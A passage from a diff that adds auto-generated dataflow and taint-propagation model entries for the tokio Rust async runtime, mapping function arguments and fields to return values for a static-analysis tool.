"ReturnValue.Field[crate::runtime::metrics::runtime::RuntimeMetrics::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::consume_signal_ready", "Argument[self].Field[crate::runtime::io::driver::Driver::signal_ready]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_ready", "Argument[0]", "ReturnValue.Field[crate::runtime::io::driver::ReadyEvent::ready]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_ready", "Argument[self].Field[crate::runtime::io::driver::ReadyEvent::is_shutdown]", "ReturnValue.Field[crate::runtime::io::driver::ReadyEvent::is_shutdown]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_ready", "Argument[self].Field[crate::runtime::io::driver::ReadyEvent::tick]", "ReturnValue.Field[crate::runtime::io::driver::ReadyEvent::tick]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_interest_and_handle", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::runtime::io::registration::Registration::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read_io", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_write_io", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_io", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_shutdown", "Argument[0].Field[crate::runtime::io::registration_set::Synced::is_shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::metrics::runtime::RuntimeMetrics::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unpark", "Argument[self].Field[crate::runtime::park::ParkThread::inner].Reference", "ReturnValue.Field[crate::runtime::park::UnparkThread::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::process::Driver::park]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::runtime::runtime::Runtime::scheduler]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_parts", "Argument[1]", "ReturnValue.Field[crate::runtime::runtime::Runtime::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_parts", "Argument[2]", "ReturnValue.Field[crate::runtime::runtime::Runtime::blocking_pool]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::handle", "Argument[self].Field[crate::runtime::runtime::Runtime::handle]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::metrics", "Argument[self].Field[crate::runtime::runtime::Runtime::handle].Reference", "ReturnValue.Field[crate::runtime::metrics::runtime::RuntimeMetrics::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::metrics", "Argument[self].Field[crate::runtime::runtime::Runtime::handle]", "ReturnValue.Field[crate::runtime::metrics::runtime::RuntimeMetrics::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::expect_current_thread", "Argument[self].Field[crate::runtime::scheduler::Context::CurrentThread(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::expect_multi_thread", "Argument[self].Field[crate::runtime::scheduler::Context::MultiThread(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_current_thread", "Argument[self].Field[crate::runtime::scheduler::Handle::CurrentThread(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_metrics", "Argument[self].Field[crate::runtime::scheduler::current_thread::Handle::shared].Field[crate::runtime::scheduler::current_thread::Shared::worker_metrics]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self].Field[crate::runtime::scheduler::inject::pop::Pop::len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::runtime::scheduler::inject::pop::Pop::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::runtime::scheduler::inject::pop::Pop::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::synced]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_closed", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::is_closed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[0].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[0]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::synced]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[1]", "ReturnValue.Field[crate::runtime::scheduler::inject::pop::Pop::len]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self].Field[crate::runtime::scheduler::inject::synced::Synced::head].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::trace_core", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_metrics", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[0].Field[crate::runtime::scheduler::multi_thread::idle::Idle::num_workers]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::runtime::scheduler::multi_thread::idle::State(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unpark", "Argument[self].Field[crate::runtime::scheduler::multi_thread::park::Parker::inner].Reference", "ReturnValue.Field[crate::runtime::scheduler::multi_thread::park::Unparker::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::runtime::scheduler::multi_thread::queue::Steal(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::runtime::scheduler::multi_thread::queue::Steal(0)].Reference", "ReturnValue.Field[crate::runtime::scheduler::multi_thread::queue::Steal(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::runtime::signal::Driver::io]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::task::Notified(0)].Field[crate::runtime::task::Task::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_raw", "Argument[self].Field[0].Field[crate::runtime::task::Task::raw]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_raw", "Argument[self].Field[crate::runtime::task::Notified(0)].Field[crate::runtime::task::Task::raw]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Field[crate::runtime::task::Task::raw].Field[crate::runtime::task::raw::RawTask::ptr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::task::Task::raw].Field[crate::runtime::task::raw::RawTask::ptr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::cancelled", "Argument[0]", "ReturnValue.Field[crate::runtime::task::error::JoinError::id]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self].Field[crate::runtime::task::error::JoinError::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::panic", "Argument[0]", "ReturnValue.Field[crate::runtime::task::error::JoinError::id]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_into_panic", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::abort_handle", "Argument[self].Field[crate::runtime::task::join::JoinHandle::raw]", "ReturnValue.Field[crate::runtime::task::abort::AbortHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::task::join::JoinHandle::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assert_owner", "Argument[0].Field[0]", "ReturnValue.Field[crate::runtime::task::LocalNotified::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assert_owner", "Argument[0].Field[crate::runtime::task::Notified(0)]", "ReturnValue.Field[crate::runtime::task::LocalNotified::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assert_owner", "Argument[0].Field[0]", "ReturnValue.Field[crate::runtime::task::LocalNotified::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::assert_owner", "Argument[0].Field[crate::runtime::task::Notified(0)]", "ReturnValue.Field[crate::runtime::task::LocalNotified::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::task::raw::RawTask::ptr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::header_ptr", "Argument[self].Field[crate::runtime::task::raw::RawTask::ptr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::ref_count", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::runtime::task::waker::WakerRef::waker]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_config", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self].Field[crate::runtime::task_hooks::TaskMeta::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[0].Field[crate::runtime::time::Driver::park]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deadline", "Argument[self].Field[crate::runtime::time::entry::TimerEntry::deadline]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::time::entry::TimerEntry::driver]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::time::entry::TimerEntry::deadline]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Field[crate::runtime::time::entry::TimerHandle::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue.Field[crate::runtime::time::entry::TimerHandle::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::handle", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::time_source", "Argument[self].Field[crate::runtime::time::handle::Handle::time_source]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_time", "Argument[self].Field[crate::runtime::time::source::TimeSource::start_time]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::tick_to_duration", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::elapsed", "Argument[self].Field[crate::runtime::time::wheel::Wheel::elapsed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration_time", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[0]", "Argument[self].Field[crate::runtime::time::wheel::Wheel::elapsed]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_at", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::time::wheel::level::Level::level]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next_expiration", "Argument[self].Field[crate::runtime::time::wheel::level::Level::level]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::runtime::time::wheel::level::Expiration::level]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take_slot", "Argument[self].Field[crate::runtime::time::wheel::level::Level::slot].Element", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::signal::registry::Globals::extra]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::storage", "Argument[self].Field[crate::signal::registry::Globals::registry].Field[crate::signal::registry::Registry::storage]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw_value", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw_value", "Argument[self].Field[crate::signal::unix::SignalKind(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::support::io_vec::IoBufs(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::advance", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::support::io_vec::IoBufs(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::barrier::Barrier::n]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[crate::sync::barrier::BarrierWaitResult(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[0]", "ReturnValue.Field[crate::sync::batch_semaphore::Acquire::num_permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[self]", "ReturnValue.Field[crate::sync::batch_semaphore::Acquire::semaphore]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::forget_permits", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::resubscribe", "Argument[self].Field[crate::sync::broadcast::Receiver::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::Receiver::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::broadcast::Sender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::Sender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade", "Argument[self].Field[crate::sync::broadcast::Sender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::WeakSender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::broadcast::error::SendError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::subscribe", "Argument[self].Field[crate::sync::broadcast::Sender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::Receiver::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::broadcast::WeakSender::shared].Reference", "ReturnValue.Field[crate::sync::broadcast::WeakSender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self].Field[crate::sync::broadcast::WeakSender::shared].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::broadcast::Sender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::release", "Argument[self].Field[crate::sync::mpsc::bounded::OwnedPermit::chan].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[self].Field[crate::sync::mpsc::bounded::OwnedPermit::chan].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::next", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::chan]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::mpsc::bounded::Permit::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::size_hint", "Argument[self].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::bounded::Receiver::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::bounded::Sender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::bounded::Sender::chan]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::bounded::Sender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reserve", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reserve_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendTimeoutError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendTimeoutError::Timeout(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_reserve", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_reserve_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mpsc::bounded::PermitIterator::n]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_reserve_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_reserve_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Full(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::TrySendError::Full(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::bounded::WeakSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::bounded::WeakSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::chan::Tx::inner].Reference", "ReturnValue.Field[crate::sync::mpsc::chan::Tx::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade", "Argument[self].Field[crate::sync::mpsc::chan::Tx::inner].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::mpsc::chan::Tx::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::sync::mpsc::error::SendTimeoutError::Closed(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::sync::mpsc::error::SendTimeoutError::Timeout(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::sync::mpsc::error::SendError(0)]", "ReturnValue.Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::sync::mpsc::error::TrySendError::Closed(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::sync::mpsc::error::TrySendError::Full(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedReceiver::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::unbounded::UnboundedSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::mpsc::unbounded::UnboundedSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::error::SendError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::mpsc::unbounded::WeakUnboundedSender::chan].Reference", "ReturnValue.Field[crate::sync::mpsc::unbounded::WeakUnboundedSender::chan]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::mutex::MappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::mutex::MappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mutex::MutexGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::mutex::OwnedMutexGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", 